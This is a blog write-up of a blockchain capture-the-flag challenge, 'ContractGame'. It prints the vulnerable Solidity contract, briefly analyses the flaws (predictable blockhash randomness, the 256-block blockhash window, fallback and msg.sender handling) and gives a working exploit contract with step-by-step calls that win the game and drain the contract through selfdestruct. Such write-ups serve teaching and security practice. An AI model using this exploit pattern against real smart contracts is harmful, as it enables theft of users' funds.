Fork me on GitHub
pikachu's Blog

华为鸿蒙场区块链 ContractGame

前言

  • 华为鸿蒙场区块链题目
  • 水题,我 Ver 喷的题都是水题

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
pragma solidity ^0.4.23;

contract ContractGame {

event SendFlag(address addr);

mapping(address => bool) internal authPlayer;
uint private blocknumber;
uint private gameFunds;
uint private cost;
bool private gameStopped = false;
address public owner;
bytes4 private winningTicket;
uint randomNumber = 0;
mapping(address=>bool) private potentialWinner;
mapping(address=>uint256) private rewards;
mapping(address=>bytes4) private ticketNumbers;

constructor() public payable {
gameFunds = add(gameFunds, msg.value);
cost = div(gameFunds, 10);
owner = msg.sender;
rewards[address(this)] = msg.value;
}

modifier auth() {
require(authPlayer[msg.sender], "you are not authorized!");
_;
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}

function BetGame(bool mark) external payable {
require(msg.value == cost);
require(gameFunds >= div(cost, 2));
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[10] & 1;
if ((coinFlip == 1 && mark) || (coinFlip == 0 && !mark)) {
gameFunds = sub(gameFunds, div(msg.value, 2));
msg.sender.transfer(div(mul(msg.value, 3), 2));
} else {
gameFunds = add(gameFunds, msg.value);
}

if (address(this).balance==0) {
winningTicket = bytes4(0);
blocknumber = block.number + 1;
gameStopped = false;
potentialWinner[msg.sender] = true;
rewards[msg.sender] += msg.value;
ticketNumbers[msg.sender] = bytes4((msg.value - cost)/10**8);
}
}

function closeGame() external auth {
require(!gameStopped);
require(blocknumber != 0);
require(winningTicket == bytes4(0));
require(block.number > blocknumber);
require(msg.sender == owner || rewards[msg.sender] > 0);
winningTicket = bytes4(blockhash(blocknumber));
potentialWinner[msg.sender] = false;
gameStopped = true;
}

function winGame() external auth {
require(gameStopped);
require(potentialWinner[msg.sender]);
if(winningTicket == ticketNumbers[msg.sender]){
emit SendFlag(msg.sender);
}
selfdestruct(msg.sender);
}

function AddAuth(address addr) external {
authPlayer[addr] = true;
}

function() public payable auth{
if(msg.value == 0) {
this.closeGame();
} else {
this.winGame();
}
}
}

Analyse

  • 题目逆向不难,但是较为复杂,上面是源码
  • 考点有三个:
    • 考察对动态数组、map类型数据的存储规则计算
    • 考察 blockhash
    • 考察 fallbackmsg.sender 的理解

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract hack {
ContractGame target = ContractGame(题目地址);

// first: call pwn with 2 ether
function pwn() payable public {
bytes32 entropy = block.blockhash(block.number-1);
bytes1 coinFlip = entropy[10] & 1;
for(int i=0;i<20;i++){
if (coinFlip == 1){
target.BetGame.value(100000000000000000)(true);
} else {
target.BetGame.value(100000000000000000)(false);
}
}
}

// second: call AddAuth(题目合约地址)
// third: call AddAuth(外部账户地址)
// forth: call AddAuth(攻击合约地址)
// fifth: after 256 blocks then call fallback(可以通过外部账户直接转账msg.value=0即可,然后会调用closeGame函数)

// sixth: call winGame()
function winGame() public {
target.winGame();
}

function() payable {}
}
  • 具体过程都在上面 exp 的注释里面
  • 按照 firstsixth 的顺序执行即可
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/contractgame/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!